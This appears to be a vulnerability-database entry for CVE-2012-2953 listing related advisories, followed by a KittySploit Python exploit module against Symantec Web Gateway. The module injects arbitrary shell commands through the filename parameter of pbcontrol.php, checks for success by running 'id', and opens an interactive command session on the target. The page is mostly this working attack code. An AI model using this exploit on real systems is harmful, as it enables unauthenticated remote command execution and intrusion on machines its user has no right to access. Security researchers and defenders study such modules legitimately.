Symantec Web Gateway - pbcontrol.php RCE (CVE-2012-2953)
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection | 27 Jul 201200:00 | – | zdt | |
| CVE-2012-2953 | 24 Jul 201200:00 | – | circl | |
| Symantec Web Gateway pbcontrol.php Command Injection (CVE-2012-2953) | 2 Dec 201200:00 | – | checkpoint_advisories | |
| CVE-2012-2953 | 23 Jul 201217:00 | – | cve | |
| CVE-2012-2953 | 23 Jul 201217:00 | – | cvelist | |
| Symantec Web Gateway 5.0.3.18 RCE | 7 Dec 201200:00 | – | dsquare | |
| Symantec Web Gateway 5.0.3.18 - 'pbcontrol.php' Root Remote Code Execution | 24 Jul 201200:00 | – | exploitdb | |
| Symantec Web Gateway 5.0.2.18 - 'pbcontrol.php' Command Injection (Metasploit) | 27 Jul 201200:00 | – | exploitdb | |
| Symantec Web Gateway - pbcontrol.php RCE Detection (CVE-2012-2953) | 10 Aug 202606:19 | – | kittysploit | |
| Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection | 23 Jul 201200:00 | – | metasploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Symantec Web Gateway pbcontrol.php RCE (CVE-2012-2953) — opens execute session."""
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Symantec Web Gateway - pbcontrol.php RCE (CVE-2012-2953)',
'description': (
'Exploits CVE-2012-2953 command injection in pbcontrol.php filename. '
'Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2012-2953'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2012-2953'],
'tags': ['symantec', 'rce', 'unauth', 'cve-2012-2953'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/cve_2012_2953_detect'],
},
},
}
def execute(self, cmd: str) -> str:
safe = quote(str(cmd), safe='')
path = f'/spywall/pbcontrol.php?filename=VT-Test%22%3b{safe}%3b%22&stage=0'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r:
return ''
return r.text or ''
def handler_execute(self):
out = self.execute('id')
if not out or not re.search(r'uid=\d+', out):
print_error('Target does not appear vulnerable to CVE-2012-2953')
return False
print_success('Symantec WG pbcontrol.php RCE confirmed')
self.handler_console()
return True
def run(self):
return self.handler_execute()
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10 Aug 2026 06:19Current
6Medium risk
Vulners AI Score6
CVSS 210
EPSS0.67389